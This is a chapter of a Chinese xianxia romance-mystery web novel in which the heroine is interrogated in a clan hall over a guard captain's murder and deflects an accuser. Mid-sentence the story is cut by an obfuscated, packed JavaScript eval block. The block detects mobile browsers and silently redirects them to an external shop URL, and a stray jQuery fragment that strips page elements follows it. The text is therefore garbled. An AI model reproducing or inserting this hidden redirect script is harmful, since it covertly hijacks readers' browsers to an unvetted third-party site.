晨光透过窗棂,在床帐上落下细碎的光影,一只素手掀开帘帐,露出一张红润的芙蓉面。
姜秾若轻掩唇角,打了个呵欠。
昨夜元溪云师兴大发,定要再教她些术法,可惜入门心法不得轻易授予宗门外人,便又现削了把木剑给她,拉着她演示了几招自创剑招。姜秾若看了几遍确实能记住,只是她从未特意锻炼过,手脚无力,舞得不伦不类。
元师尊笃信严师出高徒,叫她练了好多遍,使得她一觉醒来仍腰酸背痛。
好在一夜无梦,精神上倒也休息得饱足。
实际上,谢晋衣将白玉玲赠与她后,她见铃铛灵秀,下面坠着的绒球柔软可爱,便喜欢放在枕边,抓着绒球入睡。奇异的是,自那以后,她便再也没有梦魇过。
谢晋衣的眼睛很吸引人,每忆及他,优先跃入脑海的总是他那双微翘的猫儿眼。虽则两次见他,谢晋衣要么面无表情,要么在嘲笑、冷笑、哼笑,但少年感十足的墨瞳里却沉渊莫测,情绪仿佛浮在表面。
不过,无论谢晋衣出现在她身边的目的如何,他确实帮助了她许多。
胡思乱想之际,姜秾若收拾妥当,打开房门,冷不丁映入一张冷淡的面容。
“!”
“姜姑娘。”元秋霁点头便算作打招呼了,继续自顾自道:“衣府昨夜有人遭遇不测,这已是府中第二起凶案,此事非同小可,如今凶手还未抓获,从今天起,我兄妹二人会寸步不离守着姑娘。”
姜秾若讶异,昨夜竟然又死了人吗?
想起昨日在衣棠影处与唐风的冲突,未免忧虑衣棠影是否又被卷入风波中。她问:“这次是谁遇害?难道是妖蛟溜进来复仇了?”
元秋霁摇头:“是衣氏云鲲卫的首领——衣渡。”
云鲲卫是衣氏术法高强的一批修士组成的卫队,衣渡在衣霜在世时便统领这支精锐,直接听令于家主,平常负责护卫镇厄城。
“衣渡遇害,陈家主昏迷不醒,衣府群龙无首,衣少主和大师兄已经连夜赶回来了。但他们排查过后,府中并无妖气,凶手踪迹难寻。”
云鲲卫的首领想必修为不凡,竟也遭毒手。
姜秾若低头思忖,忽闻院外传来熟悉的声音:“姜姑娘在吗?”
姜秾若走到院门,来人是庆腾。乍见熟人,她展开笑颜:“庆腾,好久不见。”
庆腾神色复杂,拱手施礼,“少主请姜姑娘去肃清堂,有要事相问。”
元溪云从树梢飘下,无声站在姜秾若身后。
看到庆腾身后的修士皆一脸肃然,姜秾若意识到气氛有异,敛起神色,与元氏兄妹一起随众前往肃清堂。
肃清堂坐落于衣府正中,占地极广,高大方正,白墙黑瓦,斜飞的檐脊上列坐许多古拙异兽,威严摄人。
堂内静得落针可闻,正中摆着一副黑沉棺木,衣良夜立在棺前,许多墨色衣衫的修士垂手站在两侧,神色悲愤。也有着其他颜色道袍的人三五成群,或蓝或白,大抵是枣树下等其他门派的人。
姜秾若方跨过门槛,便察觉四周目光齐压她身上,她心内疑惑,忍不住抬眼环视四周,却在一众打量的神色中,瞥见一袭精致繁复的红衣黑氅。
谢晋衣正站在岳则鸣身旁,似笑非笑地看着自己。
姜秾若瞪眼回视。
隔天再见,这人怎么正大光明站在了这里。
“姜姑娘,此番唤你前来,是想问清你昨夜在何处。”衣良夜开门见山,竟是怀疑她与首领的死有关。
姜秾若惊诧莫名,不理解事情怎么会牵扯到她。
“我昨夜一直在自己的房中,溪云和秋霁仙长都可以为我作证。”说完,她看向岳则鸣,满脸无辜。
岳则鸣见师弟师妹点头,无奈道:“良夜,我知你悲痛。只是姜姑娘一介凡人,如何能悄无声息地谋杀衣首领呢?秋霁和溪云一直陪在姜小姐身边,也并未发现异常。你为何非要带她来问话?”
衣良夜未作声,向身旁侧脸。一道歪斜的身影拨开墨色袍衫,唐风那张讨人厌的脸便出现在姜秾若眼前。
“各位所有不知,此女看似一介凡女,实则身怀不明神力,昨天一人便重伤了府上众兄弟,还满嘴花言巧语,让我等以为她是哪位不出世的仙长。若不是我有心试探,发现此女空有神力,却连一颗石子都无法防备,险些被她骗了过去。”
他回去的路上越想越不对劲,便返回去跟踪这女人,稍一试探,果然叫他发现蹊跷。又从厨娘那得知,此女就是一个凡人,少主特地交代过按时送去一日三餐,这更
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750946|209421||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
叫他恼火非常,他竟然叫一个凡女戏耍了!恶意从他的狐狸眼倾泻而出,“诸位说说,这样来历不明的人,不值得怀疑吗?妖蛟怎么不袭击别人,非要袭击一个凡女,难保其中没有阴谋诡计。”
好你个唐风,等着被揍成猪头吧!
造成自己落水的凶手以出乎意料的方式自爆,但此时姜秾若已无暇他顾,怀疑的视线从四面袭来,当务之急是洗清自己的嫌疑。
她抿唇:“有护身法器在身,不是很正常的事?我没有向各位交代的必要,而且这位唐公子,未免太过公私不分,我的力量和首领遇害毫无关联。枣树下的仙长都能证明我昨晚未出院门,难不成你怀疑他们说谎?”
“你来历不明,力量不明,谁知道你是不是迷惑了他们,或者隐匿身形在府中作恶!”
姜秾若皱眉:“你倒是善变,昨日非要把陈管事的死扣在衣小姐头上,今日又说是我杀了首领,凶手到底是谁,唐公子自己弄清楚了吗?”说完,她偷偷瞥了衣良夜一眼。
衣良夜果然蹙眉,终于开口:“好了唐风。”
他向众人正色道:“我勘察过现场,没有线索能指向阿姐,而且阿姐病重,没有人比我更熟悉她,不可能是她。”
旋即他转向姜秾若,折扇轻敲手掌:“姜姑娘确有奇异之处,不提你突然出现在镇厄城,只说姑娘如何突然身怀神力?若能证实和妖物无关,也能安府中人心。”
绝不可以暴露白玉玲的用处,如今她一介凡人,若被人得知身怀异宝,有心人来盗走或骗走,绝对会惹来祸端,她护不住铃铛,也护不住自己。
姜秾若低头良久,双肩开始微微颤动。
岳则鸣于心不忍,在他看来姜姑娘不可能是凶手,女孩子的秘密不想说便不说罢,将人逼哭就过份了。
“良夜……”
“谢哥哥,你还要看多久的热闹……”岳则鸣方开口,女孩子哽咽的声音便打断了他的话,姜秾若终于抬起脸庞,素手轻掩口鼻,一双湿润的眼睛正看向他身旁。
他转过脸,向来神色浅淡的谢道友低垂眼睫,在姑娘哀怨的眼神中终于唇角微掀,这一笑愈发衬得容色绮丽。
姜秾若忍住扣地的脚趾,继续用脉脉的眼神传递救助信息。
快别笑了!